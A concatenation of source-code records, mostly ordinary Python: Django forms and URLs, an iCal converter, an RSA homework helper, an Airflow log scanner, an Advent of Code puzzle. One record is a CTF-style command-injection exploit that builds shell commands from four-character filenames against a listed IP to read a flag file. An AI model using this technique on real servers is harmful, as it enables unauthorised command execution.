Select a template'),required=False,queryset=EmailTemplate.objects.none())\n\n richTextChoice = forms.ChoiceField(label=_('Send this email as'),widget=forms.RadioSelect,choices=RICH_TEXT_CHOICES,required=True,initial='plain')\n\n subject = forms.CharField(max_length=100)\n\n message = forms.CharField(widget=forms.Textarea,required=False)\n html_message = forms.CharField(widget=TextEditorWidget,required=False)\n\n from_name = forms.CharField(max_length=50,initial=get_defaultEmailName)\n from_address = forms.EmailField(max_length=100,initial=get_defaultEmailFrom)\n cc_myself = forms.BooleanField(label=_('CC Myself:'),initial=True,required=False)\n month = forms.ChoiceField(label=_('Email all students registered in month:'),initial='',required=False)\n series = forms.MultipleChoiceField(label=_('Email all students registered in a current/recent series:'),initial='',required=False)\n testemail = forms.BooleanField(label=_('Test email:'),help_text=_('Send a test email to myself only.'),initial=False,required=False)\n\n def __init__(self, *args, **kwargs):\n user = kwargs.pop('user',None)\n months = kwargs.pop('months',[])\n recentseries = kwargs.pop('recentseries',[])\n customers = kwargs.pop('customers',[])\n\n super(EmailContactForm, self).__init__(*args, **kwargs)\n\n if customers:\n self.fields['customers'] = forms.MultipleChoiceField(\n required=True,\n label=_('Selected customers'),\n widget=forms.CheckboxSelectMultiple(),\n choices=[(x.id,'%s <%s>' % (x.fullName, x.email)) for x in customers]\n )\n self.fields['customers'].initial = [x.id for x in customers]\n self.fields.pop('month',None)\n self.fields.pop('series',None)\n self.fields.pop('sendToSet',None)\n\n # Move the customer list to the top of the form\n self.fields.move_to_end('customers',last=False)\n\n else:\n self.fields['month'].choices = months\n self.fields['series'].choices = recentseries\n\n if user:\n self.fields['template'].queryset = EmailTemplate.objects.filter(Q(groupRequired__isnull=True) | Q(groupRequired__in=user.groups.all())).filter(hideFromForm=False)\n\n def clean(self):\n # Custom cleaning ensures email is only sent to one of\n # a series, a month, or a set of customers\n super(EmailContactForm, self).clean()\n\n sendToSet = self.cleaned_data.get('sendToSet')\n customers = self.cleaned_data.get('customers')\n\n # We set to None and don't pop the keys out to prevent\n # KeyError issues with the subsequent view\n if sendToSet == 'series' or customers:\n self.cleaned_data['month'] = None\n if sendToSet == 'month' or customers:\n self.cleaned_data['series'] = None\n\n # If this is an HTML email, then ignore the plain text content\n # and replace it with plain text generated from the HTML.\n # If this is a plain text email, then ignore the HTML content.\n if self.cleaned_data['richTextChoice'] == 'HTML':\n if not self.cleaned_data['html_message']:\n raise ValidationError(_('Message is required.'))\n self.cleaned_data['message'] = get_text_for_html(self.cleaned_data['html_message'])\n if self.cleaned_data['richTextChoice'] == 'plain':\n if not self.cleaned_data['message']:\n raise ValidationError(_('Message is required.'))\n self.cleaned_data['html_message'] = None\n\n return self.cleaned_data\n\n class Media:\n js = ('js/emailcontact_sendToSet.js','js/emailcontact_ajax.js')\n\n\nclass SeriesTeacherChoiceField(forms.ModelChoiceField):\n '''\n This exists so that the validators for substitute teaching are not\n thrown off by the fact that the initial query is blank.\n '''\n\n def to_python(self,value):\n try:\n value = super(SeriesTeacherChoiceField,self).to_python(value)\n except (ValueError, ValidationError):\n key = self.to_field_name or 'pk'\n value = SeriesTeacher.objects.filter(**{key: value})\n if not value.exists():\n raise ValidationError(self.error_messages['invalid_choice'], code='invalid_choice')\n else:\n value = value.first()\n return value\n\n\nclass SeriesClassesChoiceField(forms.ModelMultipleChoiceField):\n '''\n This exists so that the validators for substitute teaching are not\n thrown off by the fact that the initial query is blank.\n '''\n\n def to_python(self, value):\n if not value:\n return []\n return list(self._check_values(value))\n\n def _check_values(self, value):\n \"\"\"\n Given a list of possible PK values, returns a QuerySet of the\n corresponding objects. Raises a ValidationError if a given value is\n invalid (not a valid PK, not in the queryset, etc.)\n \"\"\"\n key = self.to_field_name or 'pk'\n # deduplicate given values to avoid creating many querysets or\n # requiring the database backend deduplicate efficiently.\n try:\n value = frozenset(value)\n except TypeError:\n # list of lists isn't hashable, for example\n raise ValidationError(\n self.error_messages['list'],\n code='list',\n )\n for pk in value:\n try:\n self.queryset.filter(**{key: pk})\n except (ValueError, TypeError):\n raise ValidationError(\n self.error_messages['invalid_pk_value'],\n code='invalid_pk_value',\n params={'pk': pk},\n )\n qs = EventOccurrence.objects.filter(**{'%s__in' % key: value})\n pks = set(force_text(getattr(o, key)) for o in qs)\n for val in value:\n if force_text(val) not in pks:\n raise ValidationError(\n self.error_messages['invalid_choice'],\n code='invalid_choice',\n params={'value': val},\n )\n return qs\n\n\nclass SubstituteReportingForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n user = kwargs.pop('user', None)\n\n # Ensure 'initial' is initialized to avoid KeyError issues and fill in the Sub category\n kwargs['initial'] = kwargs.get('initial',{})\n kwargs['initial'].update({'category': getConstant('general__eventStaffCategorySubstitute').id})\n\n # If the user is a staffMember, then populate the form with their info\n if hasattr(user,'staffmember'):\n kwargs['initial'].update({\n 'staffMember': user.staffmember,\n 'submissionUser': user,\n })\n\n super(SubstituteReportingForm,self).__init__(*args,**kwargs)\n self.fields['event'] = forms.ModelChoiceField(queryset=Series.objects.order_by('-startTime'))\n self.fields['staffMember'] = forms.ModelChoiceField(queryset=StaffMember.objects.filter(\n instructor__isnull=False,\n ).exclude(\n instructor__status__in=[\n Instructor.InstructorStatus.hidden,\n Instructor.InstructorStatus.retired,\n Instructor.InstructorStatus.retiredGuest\n ]\n ).order_by('instructor__status','lastName','firstName'))\n self.fields['replacedStaffMember'] = SeriesTeacherChoiceField(queryset=SeriesTeacher.objects.none())\n self.fields['occurrences'] = SeriesClassesChoiceField(queryset=EventOccurrence.objects.none())\n self.fields['submissionUser'].widget = forms.HiddenInput()\n self.fields['category'].widget = forms.HiddenInput()\n\n def clean(self):\n '''\n This code prevents multiple individuals from substituting for the\n same class and class teacher. It also prevents an individual from\n substituting for a class in which they are a teacher.\n '''\n super(SubstituteReportingForm,self).clean()\n\n occurrences = self.cleaned_data.get('occurrences',[])\n staffMember = self.cleaned_data.get('staffMember')\n replacementFor = self.cleaned_data.get('replacedStaffMember',[])\n event = self.cleaned_data.get('event')\n\n for occ in occurrences:\n for this_sub in occ.eventstaffmember_set.all():\n if this_sub.replacedStaffMember == replacementFor:\n self.add_error('occurrences',ValidationError(_('One or more classes you have selected already has a substitute teacher for that class.'),code='invalid'))\n\n if event and staffMember:\n if staffMember in [x.staffMember for x in event.eventstaffmember_set.filter(category__in=[getConstant('general__eventStaffCategoryAssistant'),getConstant('general__eventStaffCategoryInstructor')])]:\n self.add_error('event',ValidationError(_('You cannot substitute teach for a class in which you were an instructor.'),code='invalid'))\n\n def validate_unique(self):\n '''\n We don't need to check the unique_together constraint in this form, because if the\n constraint is not satisfied, then the form will just update the existing instance\n in the save() method below.\n '''\n pass\n\n def save(self, commit=True):\n '''\n If a staff member is reporting substitute teaching for a second time, then we should update\n the list of occurrences for which they are a substitute on their existing EventStaffMember\n record, rather than creating a new record and creating database issues.\n '''\n existing_record = EventStaffMember.objects.filter(\n staffMember=self.cleaned_data.get('staffMember'),\n event=self.cleaned_data.get('event'),\n category=getConstant('general__eventStaffCategorySubstitute'),\n replacedStaffMember=self.cleaned_data.get('replacedStaffMember'),\n )\n if existing_record.exists():\n record = existing_record.first()\n for x in self.cleaned_data.get('occurrences'):\n record.occurrences.add(x)\n record.save()\n return record\n else:\n return super(SubstituteReportingForm,self).save()\n\n class Meta:\n model = SubstituteTeacher\n exclude = []\n\n class Media:\n js = ('js/substituteteacher_ajax.js',)\n\n\nclass StaffMemberBioChangeForm(forms.ModelForm):\n\n def __init__(self,*args,**kwargs):\n # Initialize a default form to fill\n super(StaffMemberBioChangeForm, self).__init__(*args, **kwargs)\n\n # If the individual is an instructor, then add the availableForPrivates field\n if getattr(self.instance,'instructor',None):\n self.fields['availableForPrivates'] = forms.BooleanField(\n label=_('Available For private lessons'),\n initial=True,\n required=False,\n help_text=_('Check this box if you would like to be listed as available for private lessons from students.')\n )\n\n def save(self, commit=True):\n ''' If the staff member is an instructor, also update the availableForPrivates field on the Instructor record. '''\n if getattr(self.instance,'instructor',None):\n self.instance.instructor.availableForPrivates = self.cleaned_data.pop('availableForPrivates',self.instance.instructor.availableForPrivates)\n self.instance.instructor.save(update_fields=['availableForPrivates',])\n super(StaffMemberBioChangeForm,self).save(commit=True)\n\n class Meta:\n model = StaffMember\n fields = ['publicEmail','privateEmail','phone']\n\n\nclass RepeatEventForm(forms.Form):\n\n startDate = forms.DateField(label=_('First event occurs on'))\n repeatEvery = forms.IntegerField(label=_('Repeat every'),min_value=1, initial=1)\n periodicity = forms.ChoiceField(label=_('Period'),choices=(('D',_('Days')),('W',_('Weeks')),('M',_('Months')),), initial='W')\n quantity = forms.IntegerField(label=_('Repeat this many times'),min_value=1,max_value=99,required=False)\n endDate = forms.DateField(label=_('Repeat until this date'),required=False)\n\n def clean(self):\n startDate = self.cleaned_data.get('startDate')\n endDate = self.cleaned_data.get('endDate')\n quantity = self.cleaned_data.get('quantity')\n\n if endDate and not endDate >= startDate:\n self.add_error('endDate',ValidationError(_('End date must be after start date.')))\n\n if quantity and endDate:\n self.add_error('quantity',ValidationError(_('Please specify either a number of repeats or an end date, not both.')))\n\n\nclass InvoiceNotificationForm(forms.Form):\n '''\n This form just allows customers to deselect invoices for notification.\n '''\n\n def __init__(self,*args,**kwargs):\n invoices = kwargs.pop('invoices',Invoice.objects.none())\n\n # Initialize a default (empty) form to fill\n super(InvoiceNotificationForm, self).__init__(*args, **kwargs)\n\n for invoice in invoices:\n self.fields['invoice_%s' % invoice.id] = forms.BooleanField(label=invoice.id, required=False,initial=True)\n","sub_path":"danceschool/core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":44057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"149477289","text":"from subprocess import Popen, PIPE\nimport glob\nimport os\nimport subprocess\n\nf_list = glob.glob('./node2vec_input/*.txt')\n\n# get the outputlist\ndef outputlist(input_filename):\n temp = input_filename.split('/')\n temp[2] = 'node2vec_output'\n return \"/\".join(temp)\n \n \noutput_filename = [outputlist(f_list[i]) for i in range(len(f_list))]\n\nfile_name = [[f_list[i],output_filename[i]] for i in range(len(f_list))]\n\n\nnode2vec_input_dir = '.' + \"/node2vec_output/\"\nos.makedirs(node2vec_input_dir, exist_ok=True)\n\ncmds_list = [['python', './src/main.py','--input',input_filename, '--output', output_filename] for input_filename, output_filename in file_name]\n\nfor i in range(len(cmds_list)):\n try:\n subprocess.run(cmds_list[i])\n subprocess.run([\"rm\",cmds_list[i][3]])\n except:\n print(\"fail\")\n \n","sub_path":"node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"414361618","text":"# 1 Упражнение\r\n# Вставляешь из задания p, q, c, (k - это количество знаков \"... коды стали длиной k знаков\" из 1 упражнения)\r\np = 31\r\nq = 199\r\nc = 2671\r\nk = 4\r\n# Пишешь каждой переменной массива свой трехзначный код, через запятую(3 цифры - 1 буква слова)\r\n# Хотя бы это сделай)))\r\na = [207, 238, 236, 239, 232, 228, 243]\r\n\r\n\r\n# 2 Упражнение\r\n# Самостоятельно разбиваешь свое большое число по количеству знаков и убираешь лишние нули в начале числа\r\n# Пример: 312223953446223521130234 По 4 знака - нули слева! : 3122 2395 3446 2235 2113 234\r\n# Через запятую загоняешь в массив\r\nname = [813, 4634, 8043, 9195, 9486, 5901, 9585, 8703]\r\n\r\n# Числа из зыкрытого ключа\r\n# 1 число:\r\ng = 8329\r\n# 2 число:\r\nl = 9617\r\n\r\n\r\n\r\n\r\n# Эту часть кода лучше не трогай)))\r\nb = \"\"\r\nop = \"\"\r\np1 = p - 1\r\nq1 = q - 1\r\nN = p * q\r\nfor gg in range(N + 1):\r\n if (c * gg % (p1 * q1)) == 1:\r\n d = gg\r\nfor i in a:\r\n if k == 5:\r\n if int(i) ** c % N // 1000 == 0:\r\n h = (\"00\" + str(int(i) ** int(c) % N))\r\n b += h\r\n elif int(i) ** c % N // 10000 == 0:\r\n h = (\"0\" + str(int(i) ** int(c) % N))\r\n b += h\r\n else:\r\n b += str(int(i) ** int(c) % N)\r\n else:\r\n if int(i) ** c % N // 100 == 0:\r\n h = (\"00\" + str(int(i) ** int(c) % N))\r\n b += h\r\n elif int(i) ** c % N // 1000 == 0:\r\n h = (\"0\" + str(int(i) ** int(c) % N))\r\n b += h\r\n else:\r\n b += str(int(i) ** int(c) % N)\r\nfor i in name:\r\n temp_in = i ** g % l\r\n temp_out = chr(temp_in + 848)\r\n op += temp_out\r\nprint(\"Уппажнение 1\")\r\nprint(\"d =\", d)\r\nprint(\"N =\", N)\r\nprint(\"Зашифрованное значение:\", b, \"\\n\")\r\nprint(\"2 Упражнение\")\r\nprint(\"Просто вставь это слово в ответ:\", op) \r\n \r\n","sub_path":"Информационная безопасность.py","file_name":"Информационная безопасность.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"236684835","text":"\"\"\"siteTest URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\n\nfrom django.urls import path, re_path\nfrom login import views\nfrom django.conf.urls import include, url\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('boss_approval///', views.boss_approval),\n path('manage_approval///', views.manage_approval),\n path('index/boss-approval-from-manager.html', views.index_boss_approval_from_manager),\n path('index/boss-waiting-for-approval.html', views.index_boss_waiting_for_approval),\n path('index/boss-approval-log.html', views.index_boss_approval_log),\n path('index/boss-staff-information.html', views.index_boss_staff_information),\n path('index/boss-information/', views.boss_information),\n\n path('index/manager-sign.html', views.index_manager_sign),\n path('index/manager-ask.html', views.manager_ask),\n path('index/manager-my-ask.html', views.manager_my_ask),\n path('index/manager-waiting-for-approval.html', views.manager_waiting_for_approval),\n path('index/manager-approval-log.html', views.manager_approval_log),\n path('index/manager-staff-information.html', views.manager_staff_information),\n path('index/manage-information/', views.manage_information),\n\n path('index/staff-ask.html', views.staff_ask),\n path('index/staff-my-ask.html', views.staff_my_ask),\n path('index/staff-staff-information.html', views.staff_staff_information),\n path('index/staff-sign.html', views.staff_sign),\n\n path('manageAsk', views.manageAsk),\n path('staffAsk', views.staffAsk),\n path('login', views.login),\n path('logout', views.logout),\n # re_path(r'^index/boss-information/$',views.boss_information)\n\n]\n","sub_path":"django项目/siteTest/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"345300849","text":"#!/usr/bin/python3\n\nimport sys\nimport os.path\nfrom icalendar import Calendar\nimport csv\nfrom bs4 import BeautifulSoup\nimport warnings\nfrom dateutil.parser import parse\n\nwarnings.filterwarnings(\"ignore\", category=UserWarning, module='bs4') # We don't want warnings about URL's. We just what the URL printed, if there.\n\nfilename = sys.argv[1]\n# TODO: use regex to get file extension (chars after last period), in case it's not exactly 3 chars.\nfile_extension = str(sys.argv[1])[-3:]\nheaders = ('Summary', 'UID', 'Description', 'Location', 'Start Time', 'End Time', 'URL')\n\nclass CalendarEvent:\n \"\"\"Calendar event class\"\"\"\n summary = ''\n uid = ''\n description = ''\n location = ''\n start = ''\n end = ''\n url = ''\n\n def __init__(self, name):\n self.name = name\n\nevents = []\n\ndef removehtml(html):\n # Almost word for word copy from here: https://stackoverflow.com/questions/328356/extracting-text-from-html-file-using-python\n\n soup = BeautifulSoup(html, features=\"html.parser\")\n # kill all script and style elements\n for script in soup([\"script\", \"style\"]):\n script.extract() # remove it\n\n text = soup.get_text() # Get plain text\n\n # break into lines and remove leading and trailing space on each\n lines = (line.strip() for line in text.splitlines())\n # break multi-headlines into a line each\n chunks = (phrase.strip() for line in lines for phrase in line.split(\" \"))\n # drop blank lines\n text = '\\n'.join(chunk for chunk in chunks if chunk)\n\n return text\n\n\ndef open_cal():\n if os.path.isfile(filename):\n if file_extension == 'ics':\n print(\"Extracting events from file:\", filename, \"\\n\")\n f = open(sys.argv[1], 'rb')\n gcal = Calendar.from_ical(f.read())\n\n for component in gcal.walk():\n event = CalendarEvent(\"event\")\n if component.get('TRANSP') == 'TRANSPARENT': continue #skip event that have not been accepted\n if component.get('SUMMARY') == None: continue #skip blank items\n event.summary = component.get('SUMMARY')\n event.uid = component.get('UID')\n if component.get('DESCRIPTION') == None: continue #skip blank items\n event.description = component.get('DESCRIPTION')\n event.location = component.get('LOCATION')\n if hasattr(component.get('dtstart'), 'dt'):\n event.start = component.get('dtstart').dt\n if hasattr(component.get('dtend'), 'dt'):\n event.end = component.get('dtend').dt\n\n\n event.url = component.get('URL')\n events.append(event)\n f.close()\n else:\n print(\"You entered \", filename, \". \")\n print(file_extension.upper(), \" is not a valid file format. Looking for an ICS file.\")\n exit(0)\n else:\n print(\"I can't find the file \", filename, \".\")\n print(\"Please enter an ics file located in the same folder as this script.\")\n exit(0)\n\n\ndef txt_write(icsfile):\n txtfile = icsfile[:-3] + \"txt\"\n prevdate=\"\"\n spent=0\n evcount=0\n evskip=0\n istart=0\n istop=4102441200.0 # The year 2100. Hopefully this will not be in use by then ...\n if sys.argv[2] != '':\n istart=parse(sys.argv[2]).timestamp()\n if sys.argv[3] != '':\n istop=parse(sys.argv[3]).timestamp()\n print(\"Processing events :\", end=\" \")\n try:\n with open(txtfile, 'w') as myfile:\n for event in sortedevents:\n\n if prevdate != event.start.strftime(\"%Y-%m-%d\") and spent > 0: # Make a header for each day\n if prevdate != '': # If you don't want a summary of the time spent added, comment this section. \n th=divmod(spent, 3600)[0]\n tm=divmod(spent, 3600)[1]/60\n myfile.write(\"\\nTime Total: \" + '{:02.0f}'.format(th) + \":\" + '{:02.0f}'.format(tm) + \"\\n\")\n spent=0\n if event.start.timestamp() > istart and event.start.timestamp() < istop:\n if prevdate != event.start.strftime(\"%Y-%m-%d\"): # Make a header for each day\n prevdate = event.start.strftime(\"%Y-%m-%d\")\n myfile.write(\"\\nWorklog, \" + prevdate + \"\\n===================\\n\")\n\n duration = event.end - event.start\n ds = duration.total_seconds()\n spent += ds\n hours = divmod(ds, 3600)[0]\n minutes = divmod(ds,3600)[1]/60\n description=removehtml(event.description.encode('utf-8').decode())\n values = event.start.strftime(\"%H:%M:%S\") + \" - \" + event.end.strftime(\"%H:%M:%S\") + \" (\" + '{:02.0f}'.format(hours) + \":\" + '{:02.0f}'.format(minutes) + \") \" + event.summary.encode('utf-8').decode()\n if event.location != '': values = values + \" [\" + event.location + \"]\" # Only include location if there is one\n\n # Remove Google Meet and Skype Meeting part of description\n trimmed=description.split('-::~')[0].split('......')[0]\n #print(\"DescLen: \" + str(len(description)) + \" TrimmedLen: \" + str(len(trimmed)) + \" : \" + trimmed) # For debugging\n description=trimmed\n if description != '':\n values = values + \"\\n\" + description + \"\\n\"\n myfile.write(values+\"\\n\")\n print(\"\", end=\".\")\n evcount+=1\n else:\n print(\"\", end=\"S\")\n evskip+=1\n\n print(\"\\n\\nWrote \" + str(evcount) + \" events to \", txtfile, \" and skipped \", str(evskip), \" events\\n\")\n except IOError:\n print(\"Could not open file!\")\n exit(0)\n\n\ndef debug_event(class_name):\n print(\"Contents of \", class_name.name, \":\")\n print(class_name.summary)\n print(class_name.uid)\n print(class_name.description)\n print(class_name.location)\n print(class_name.start)\n print(class_name.end)\n print(class_name.url, \"\\n\")\n\nopen_cal()\nsortedevents=sorted(events, key=lambda obj: obj.start)\ntxt_write(filename)\n#debug_event(event)\n","sub_path":"ical2txt.py","file_name":"ical2txt.py","file_ext":"py","file_size_in_byte":6281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"471722045","text":"#-*- coding:utf8-*-\n\nimport requests as r\n\nfrom time import sleep\n\nimport random\n\n\"\"\"\n\n/home/ctf/code/sandbox/83880775\n\n\"\"\"\n\ntarget = 'http://207.180.200.166:8000/'\n\n\n\nreset = target + '?reset=true'\n\n\n\ncmd = target + '?cmd='\n\ncd = cmd + 'cd%20/'\n\n# Payload optional characters in certain positions\n\npos0 = 'm'\n\npos1 = 'p'\n\npos2 = 'g'\n\n\n\npayload = [\n\n '>dir', # >dir\n\n '>%s\\>'%pos0, # >m \n\n '>%st-'%pos1, # pt-\n\n '>sl', # sl\n\n '*>v', # >m pt- sl \n\n '>rev',\n\n '*v>%s'%pos2, # ls -pt >m\n\n 'nl g',\n\n # Continue line segmentation cd $HOME && cat flag.txt and write in reverse order\n\n '>xt',\n\n '>t',\n\n '>g.',\n\n '>la',\n\n '>\\ f',\n\n '>at',\n\n '>\\ c',\n\n '>\\&',\n\n '>\\ &',\n\n '>ME',\n\n '>HO',\n\n '>\\$',\n\n '>\\ ',\n\n '>cd',\n\n 'sh ' + pos2,\n\n # the content of g is ls -tk >m, then the reverse order will be reversed,\n\n 'sh ' + pos0,\n\n 'nl ' + pos0\n\n # Execute the curl commmand, insert cmd \n\n]\n\ns = r.get(reset)\n\nfor i in payload:\n\n s = r.get(cmd + i)\n\n print(cmd+i)\n\n print('[%d]' %s.status_code, s.url)\n\n print(s.text)\n\n\n\"\"\"\n\nimport requests\nhtml = requests.get('http://207.180.200.166:8000/?cmd=ls /')\nprint(html.text.strip())\nhtml = requests.get('http://207.180.200.166:8000/?cmd=nl *')\ntext = ''\nfor line in html.text:\n text += line.strip()\na = text.find('flag{')\nb = text.find('}', a + 6) + 1\nprint(text[a:b])\n\n\"\"\"","sub_path":"four_character_execute.py","file_name":"four_character_execute.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"471047858","text":"# 프로그래머스\n\n# 풀이 횟수: 0\n\n\"\"\"\n제 7 강에서 소개된 추상적 자료구조로 LinkedList 라는 이름의 클래스가 정의되어 있다고 가정하고,\n이 리스트를 처음부터 끝까지 순회하는 메서드 traverse() 를 완성하세요.\n\n메서드 traverse() 는 리스트를 리턴하되,\n이 리스트에는 연결 리스트의 노드들에 들어 있는 데이터 아이템들을 연결 리스트에서의 순서와 같도록 포함합니다.\n예를 들어, LinkedList L 에 들어 있는 노드들이 43 -> 85 -> 62 라면, 올바른 리턴 값은 [43, 85, 62] 입니다.\n\n이 규칙을 적용하면, 빈 연결 리스트에 대한 순회 결과로 traverse() 메서드가 리턴해야 할 올바른 결과는 [] 입니다.\n\n[참고] 실행 을 눌렀을 때 통과하는 것은 아무 의미 없습니다.\n\"\"\"\n\n\"\"\"\n도움이 되는 사이트 (유투브)\nhttps://www.youtube.com/watch?v=JlMyYuY1aXU\n\"\"\"\n\n\nclass Node:\n def __init__(self, data=None):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n def __init__(self):\n self.nodeCount = 0\n self.head = Node()\n self.tail = None\n\n def get_at(self, pos):\n if pos < 1 or pos > self.nodeCount:\n return None\n i = 1\n curr = self.head\n while i < pos:\n curr = curr.next\n i += 1\n return curr\n\n def traverse(self):\n data_arr = []\n cur = self.head\n while cur.next is not None:\n cur = cur.next\n data_arr.append(cur.data)\n return data_arr\n\n def append(self, data):\n new_node = Node(data)\n cur = self.head\n while cur.next is not None:\n cur = cur.next\n cur.next = new_node\n\n def length(self):\n cur = self.head\n total = 0\n while cur.next is not None:\n total += 1\n cur = cur.next\n return total\n\n\n# 이 solution 함수는 그대로 두어야 합니다.\ndef solution(x):\n return 0\n\n\nif __name__==\"__main__\":\n L = LinkedList()\n L.head.next\n L.traverse()\n L.length()\n L.append(1)\n L.traverse()\n L.append(2)\n L.traverse()\n L.length()","sub_path":"Problem Type/5. Sort/링크드리스트.py","file_name":"링크드리스트.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"122860710","text":"import os\n# on docker dipending upon number of worker nodes logs will be at http://a1d1c26c57a0:8793/log/marketvol/\nbasepath = '~/airflow/logs/marketvol'\nfiles = []\nfrom pathlib import Path\n\n\nwith os.scandir(basepath) as entries:\n for entry in entries:\n if entry.is_file():\n print('file')\n files.append(entry.path)\n elif entry.is_dir():\n print('dir')\n print(entry.path)\n for path in Path(entry.path).rglob('20*'):\n for file_path in Path(path).rglob('*.log'):\n if file_path.is_file():\n files.append(file_path)\n\n\nprint('files')\nfor file in files:\n print(file)\n\nerror_count = 0\nerror_list = []\nfor file in files:\n with open(file, 'r') as f:\n lines = f.readlines()\n for line in lines:\n if 'ERROR' in line:\n error_count += 1\n error_list.append(line)\nprint('Total errors:', error_count)\nfor item in error_list:\n print(item)","sub_path":"scripts/log_monitor.py","file_name":"log_monitor.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"544131638","text":"from userinput.models import RUBIONUser\nfrom userdata.models import StaffUser, SafetyInstruction2UserRelation, SafetyInstruction2StaffRelation\n\nfor ruser in RUBIONUser.objects.all():\n SafetyInstruction2UserRelation.objects.filter(user = ruser).all().delete()\n for instruction in ruser.needs_safety_instructions.all():\n rel = SafetyInstruction2UserRelation(\n user = ruser,\n instruction = instruction\n ).save()\n\nfor staff in StaffUser.objects.all():\n SafetyInstruction2StaffRelation.objects.filter(staff = staff).all().delete()\n for instruction in staff.needs_safety_instructions.all():\n rel = SafetyInstruction2StaffRelation(\n staff = staff,\n instruction = instruction\n ).save()\n \n\n","sub_path":"userdata/update_safety_instructions.py","file_name":"update_safety_instructions.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"201479366","text":"import re\n\ntens = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5]\nminutes = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n\n# --- Day 4: Repose Record ---\n# You've sneaked into another supply closet - this time, it's across from the prototype suit manufacturing lab.\n# You need to sneak inside and fix the issues with the suit, but there's a guard stationed outside the lab,\n# so this is as close as you can safely get.\n#\n# As you search the closet for anything that might help,\n# you discover that you're not the first person to want to sneak in.\n# Covering the walls, someone has spent an hour starting every midnight for the past few months secretly\n# observing this guard post! They've been writing down the ID of the one guard on duty that night\n# the Elves seem to have decided that one guard was enough for the overnight shift\n# as well as when they fall asleep or wake up while at their post (your puzzle input).\n#\n# For example, consider the following records, which have already been organized into chronological order:\n#\n# [1518-11-01 00:00] Guard #10 begins shift\n# [1518-11-01 00:05] falls asleep\n# [1518-11-01 00:25] wakes up\n# [1518-11-01 00:30] falls asleep\n# [1518-11-01 00:55] wakes up\n# [1518-11-01 23:58] Guard #99 begins shift\n# [1518-11-02 00:40] falls asleep\n# [1518-11-02 00:50] wakes up\n# [1518-11-03 00:05] Guard #10 begins shift\n# [1518-11-03 00:24] falls asleep\n# [1518-11-03 00:29] wakes up\n# [1518-11-04 00:02] Guard #99 begins shift\n# [1518-11-04 00:36] falls asleep\n# [1518-11-04 00:46] wakes up\n# [1518-11-05 00:03] Guard #99 begins shift\n# [1518-11-05 00:45] falls asleep\n# [1518-11-05 00:55] wakes up\n# Timestamps are written using year-month-day hour:minute format.\n# The guard falling asleep or waking up is always the one whose shift most recently started.\n# Because all asleep/awake times are during the midnight hour (00:00 - 00:59), only the minute portion (00 - 59)\n# is relevant for those events.\n#\n# Visually, these records show that the guards are asleep at these times:\n#\n# Date ID Minute\n# 000000000011111111112222222222333333333344444444445555555555\n# 012345678901234567890123456789012345678901234567890123456789\n# 11-01 #10 .....####################.....#########################.....\n# 11-02 #99 ........................................##########..........\n# 11-03 #10 ........................#####...............................\n# 11-04 #99 ....................................##########..............\n# 11-05 #99 .............................................##########.....\n# The columns are Date, which shows the month-day portion of the relevant day; ID,\n# which shows the guard on duty that day; and Minute, which shows the minutes during which the guard\n# was asleep within the midnight hour. (The Minute column's header shows the minute's ten's digit in the first\n# row and the one's digit in the second row.) Awake is shown as ., and asleep is shown as #.\n#\n# Note that guards count as asleep on the minute they fall asleep, and they count as awake on the minute\n# they wake up. For example, because Guard #10 wakes up at 00:25 on 1518-11-01, minute 25 is marked as awake.\n#\n# If you can figure out the guard most likely to be asleep at a specific time, you might be able to trick\n# that guard into working tonight so you can have the best chance of sneaking in. You have two strategies\n# for choosing the best guard/minute combination.\n#\n# Strategy 1: Find the guard that has the most minutes asleep. What minute does that guard spend asleep the most?\n#\n# In the example above, Guard #10 spent the most minutes asleep, a total of 50 minutes (20+25+5),\n# while Guard #99 only slept for a total of 30 minutes (10+10+10). Guard #10 was asleep most during\n# minute 24 (on two days, whereas any other minute the guard was asleep was only seen on one day).\n#\n# While this example listed the entries in chronological order, your entries are in the order you\n# found them. You'll need to organize them before they can be analyzed.\n#\n# What is the 